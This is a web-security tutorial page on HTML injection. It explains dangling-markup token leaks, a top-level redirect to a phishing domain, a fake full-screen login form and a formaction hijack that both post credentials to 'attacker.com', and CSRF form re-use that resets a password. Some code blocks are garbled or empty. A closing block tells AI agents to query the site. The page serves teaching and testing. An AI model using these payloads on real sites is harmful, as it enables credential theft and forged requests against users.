# HTML Injection ## # Related Pages {% content-ref url="" %} [](https://book.jorianwoltjer.com/web/client-side/cross-site-scripting-xss) {% endcontent-ref %} ## Dangling Markup The idea of [Dangling Markup](https://lcamtuf.coredump.cx/postxss/) is to write incomplete HTML that slots sensitive information into some leakable field, such as an ` Payload

I'm hacked? Oh no!

``` {% endcode %} This results in an image request to the following URL, which the attacker can decode to get the value of the sensitive CSRF token: You may also find a scenario where there is no double or single quote after the data you want to leak, but if the data you seek is close enough (eg. without or `>` in between), you could leak it *without quotes at all*. Below is an example where sensitive data is appended to your input: {% code title="HTML Source" %} ```html

Some more text

``` {% endcode %} One annoying thing to work with is that Chromium denies any URLs (or `target` values) containing newlines. If the leaked content contains any newlines, as is pretty common for HTML, the attacker cannot receive a request. Minifiers will sometimes remove newlines as they are unnecessary, but more often than not, you will have to deal with this. Firefox still allows newlines in URLs, though, so you're not left without impact. Another idea is to use `` string, or at the end of the document. You can then wrap this in a form to an attacker with a large submit button that leaks the value on click: {% code title="HTML Source" %} ```html

` somewhere after your injection point.

Chromium denying an implicitly closed `<textarea>`

{% hint style="info" %} **Note**: in case your HTML is *parsed and serialized* before being shown, it is hard to dangle half-open syntax. You may be able to exploit [#mutation-xss-and-dompurify](https://book.jorianwoltjer.com/web/client-side/cross-site-scripting-xss/..#mutation-xss-and-dompurify "mention") to confuse the parser and make it think your input is inside a ` ``` {% endcode %} Having your site iframes on a target also gives you a reference to it via `top`. Firstly, you can redirect the top-level page by setting its `location =`:

<script>
  top.location = "https://attacker-phishing.com"
</script>

If your injection is stored, it can be pretty convincing to suddenly be brought to a phishing page of the same application while browsing said application. It also allows you to trigger [`.postMessage()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) handlers for all kinds of exploitation. Read more details on the page below: {% content-ref url="postmessage-exploitation" %} [postmessage-exploitation](https://book.jorianwoltjer.com/web/client-side/cross-site-scripting-xss/postmessage-exploitation) {% endcontent-ref %} ### Forms The previous phishing example is less likely to work on victims using a password manager, because the iframe is hosted on a different domain, it won't auto-complete like the user might be expecting. This can be improved by creating the phishing page natively inside your injection point. Simply create a form with some inputs and a bunch of CSS (tip: re-use existing classes), recreating the real login page as closely as possible. But importantly, change the `action=` to your attacker's domain in order to receive the credentials. It may look something like this:

<div style="position: fixed; top: 0; left: 0; width: 100vw; height: 100vh;
            z-index: 999999; background: white">
  <div class="d-flex flex-column h-100 justify-content-center align-items-center">
    <h1>Login</h1>
    <form action="https://attacker.com">
      <input class="form-control" type="text" name="username" placeholder="Username..." autofocus>
      <input class="form-control" type="text" name="password" placeholder="Password...">
      <button class="btn btn-primary" type="submit">Submit</button>
    </form>
  </div>
</div>

{% hint style="success" %} Because this HTML is hosted on the target directly, password managers with auto-fill functionality will not know the difference between this and the real thing! ![](https://3698848315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F677wrA8ZfiPs1U4l5uR6%2Fuploads%2FbWaN9SxP0ObrOU2f93tJ%2Fimage.png?alt=media\&token=f17f250e-4aa9-4f22-8389-450dfc70e9d6) {% endhint %} Apart from leaking form inputs, you can also use forms to send specific requests form a trusted source. This can bypass checks like `SameSite=` cookies, the `Origin:` header or even CSRF tokens if JavaScript automatically adds them to any form on the page. #### Rewrite form action from `` In rare cases it is possible to **hijack existing forms** to do what you want. For example, take the following source code and injection point, where we're able to add arguments:

<form action="/login" method="post">
  <input type="text" name="username">
  <input type="text" name="password">
  <button type="submit" class="INJECTION_HERE">Submit</button>
</form>

An injection like `" formaction="https://attacker.com` would cause pressing the button to send credentials to `attacker.com` instead: {% code title="Exploit" %} ```html ``` {% endcode %} #### CSRF form re-use Another trick is to use the `form=` attribute to attach an `` outside of any form to the form with that `id=`. If that **already has a CSRF token**, you can **add any values to it**, which will be trusted when submitting. To get more use out of it, you can add another button with relative `formaction=` that rewrites the destination, while retaining the CSRF token from the other form. This effectively creates a perfect CSRF:

<form id="search-form" action="/search" method="post">
  <input type="text" name="csrf" value="1337">
  <input type="hidden" name="query" value="">
  <button type="submit">Search</button>
</form>
<!-- Injection: -->
<input form="search-form" type="text" name="password" value="hacked">
<button form="search-form" formaction="/reset_password" type="submit" 
        style="position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; 
               z-index: 999999; opacity: 0"></button>

When clicking anywhere on the page, this sends a request like the following:

POST /reset_password HTTP/1.1
Host: target.com
Origin: https://target.com
Content-Type: application/x-www-form-urlencoded

csrf=1337&query=&password=hacked

{% hint style="info" %} **Tip**: Some other useful attributes for the submit button are: * [`formnovalidate=`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/button#formnovalidate) to ignore validation rules, useful if the original form wasn't filled out completely. * [`formmethod=`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/button#formmethod) to change the method from GET to POST, for example. * [`formenctype=`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/button#formenctype) to use `multipart/form-data` or `text/plain` if needed. Unfortunately, still hard to create a valid JSON body with this. * [`formtarget=`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/button#formtarget) to redirect not the current top-level window, but an iframe with this `id=`, to hide the response of the form submission to the victim. {% endhint %} Check out the page below for more details on exploitation of CSRF: {% content-ref url="../cross-site-request-forgery-csrf" %} [cross-site-request-forgery-csrf](https://book.jorianwoltjer.com/web/client-side/cross-site-request-forgery-csrf) {% endcontent-ref %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://book.jorianwoltjer.com/web/client-side/cross-site-scripting-xss/html-injection.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.